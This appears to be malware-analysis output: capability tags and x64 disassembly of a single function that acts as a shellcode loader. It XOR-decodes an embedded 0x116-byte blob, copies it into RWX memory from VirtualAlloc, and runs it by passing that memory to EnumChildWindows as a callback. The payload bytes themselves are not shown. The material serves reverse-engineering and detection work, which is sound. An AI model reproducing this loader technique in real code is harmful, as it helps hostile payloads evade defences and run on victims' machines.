Function at 0x140001020
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Execute shellcode via windows callback function

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r14
sub rsp, 0x150
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.hello
call fcn.140001360
lea rdx, [0x140001530]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov esi, 2
lea rcx, [rsp + 0x30]
mov eax, esi
lea rdx, [0x1400033d0]
nop dword [rax]
nop word [rax + rax]
lea rcx, [rcx + 0x80]
movups xmm0, xmmword [rdx]
movups xmm1, xmmword [rdx + 0x10]
lea rdx, [rdx + 0x80]
movups xmmword [rcx - 0x80], xmm0
movups xmm0, xmmword [rdx - 0x60]
movups xmmword [rcx - 0x70], xmm1
movups xmm1, xmmword [rdx - 0x50]
movups xmmword [rcx - 0x60], xmm0
movups xmm0, xmmword [rdx - 0x40]
movups xmmword [rcx - 0x50], xmm1
movups xmm1, xmmword [rdx - 0x30]
movups xmmword [rcx - 0x40], xmm0
movups xmm0, xmmword [rdx - 0x20]
movups xmmword [rcx - 0x30], xmm1
movups xmm1, xmmword [rdx - 0x10]
movups xmmword [rcx - 0x20], xmm0
movups xmmword [rcx - 0x10], xmm1
sub rax, 1
jne 0x140001080
mov eax, dword [rdx + 0x10]
movups xmm0, xmmword [rdx]
movups xmmword [rcx], xmm0
mov dword [rcx + 0x10], eax
movzx eax, word [rdx + 0x14]
mov word [rcx + 0x14], ax
mov ecx, 0x116
call fcn.1400015a0
mov rbx, rax
lea rcx, [rsp + 0x145]
add rax, 0x115
cmp rbx, rcx
ja 0x140001130
xor r9d, r9d
lea rcx, [rsp + 0x30]
cmp rax, rcx
jb 0x140001130
lea rdx, [rsp + 0x30]
mov r8d, 0x116
add rdx, r9
lea rcx, [r9 + rbx]
sub r8, r9
call sub.VCRUNTIME140.dll_memcpy
jmp 0x1400011a7
mov rcx, rbx
lea rdx, [rsp + 0x30]
mov rax, rsi
nop dword [rax + rax]
lea rcx, [rcx + 0x80]
movups xmm0, xmmword [rdx]
movups xmm1, xmmword [rdx + 0x10]
lea rdx, [rdx + 0x80]
movups xmmword [rcx - 0x80], xmm0
movups xmm0, xmmword [rdx - 0x60]
movups xmmword [rcx - 0x70], xmm1
movups xmm1, xmmword [rdx - 0x50]
movups xmmword [rcx - 0x60], xmm0
movups xmm0, xmmword [rdx - 0x40]
movups xmmword [rcx - 0x50], xmm1
movups xmm1, xmmword [rdx - 0x30]
movups xmmword [rcx - 0x40], xmm0
movups xmm0, xmmword [rdx - 0x20]
movups xmmword [rcx - 0x30], xmm1
movups xmm1, xmmword [rdx - 0x10]
movups xmmword [rcx - 0x20], xmm0
movups xmmword [rcx - 0x10], xmm1
sub rax, 1
jne 0x140001140
mov eax, dword [rdx + 0x10]
movups xmm0, xmmword [rdx]
movups xmmword [rcx], xmm0
mov dword [rcx + 0x10], eax
movzx eax, word [rdx + 0x14]
mov word [rcx + 0x14], ax
mov rbp, rbx
mov r14d, 0x116
xor byte [rbp], 0xb
lea rdx, [0x1400033b8]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140001360
lea rdx, section..text
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
mov rdi, rax
mov rcx, qword [rax]
movsxd rdx, dword [rcx + 4]
lea rcx, [rsp + 0x20]
mov byte [rdx + rax + 0x58], 0x30
mov rdx, rsi
call qword [sym.imp.MSVCP140.dll_struct_std::_Smanip_long_long___int64_____cdecl_std::setw_long_long___int64__]
mov rcx, qword [rdi]
mov rdx, qword [rax + 8]
movsxd rcx, dword [rcx + 4]
add rcx, rdi
call qword [rax]
movzx edx, byte [rbp]
mov rcx, rdi
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
lea rbp, [rbp + 1]
sub r14, 1
jne 0x1400011b0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [0x140001530]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov edx, 0x116
lea r9d, [r14 + 0x40]
xor ecx, ecx
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdx, rax
mov rcx, rax
nop dword [rax]
lea rcx, [rcx + 0x80]
movups xmm0, xmmword [rbx]
lea rbx, [rbx + 0x80]
movups xmmword [rcx - 0x80], xmm0
movups xmm1, xmmword [rbx - 0x70]
movups xmmword [rcx - 0x70], xmm1
movups xmm0, xmmword [rbx - 0x60]
movups xmmword [rcx - 0x60], xmm0
movups xmm1, xmmword [rbx - 0x50]
movups xmmword [rcx - 0x50], xmm1
movups xmm0, xmmword [rbx - 0x40]
movups xmmword [rcx - 0x40], xmm0
movups xmm1, xmmword [rbx - 0x30]
movups xmmword [rcx - 0x30], xmm1
movups xmm0, xmmword [rbx - 0x20]
movups xmmword [rcx - 0x20], xmm0
movups xmm1, xmmword [rbx - 0x10]
movups xmmword [rcx - 0x10], xmm1
sub rsi, 1
jne 0x140001250
movups xmm0, xmmword [rbx]
xor r8d, r8d
movups xmmword [rcx], xmm0
mov eax, dword [rbx + 0x10]
mov dword [rcx + 0x10], eax
movzx eax, word [rbx + 0x14]
mov word [rcx + 0x14], ax
xor ecx, ecx
call qword [sym.imp.USER32.dll_EnumChildWindows]
lea r11, [rsp + 0x150]
xor eax, eax
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop r14
ret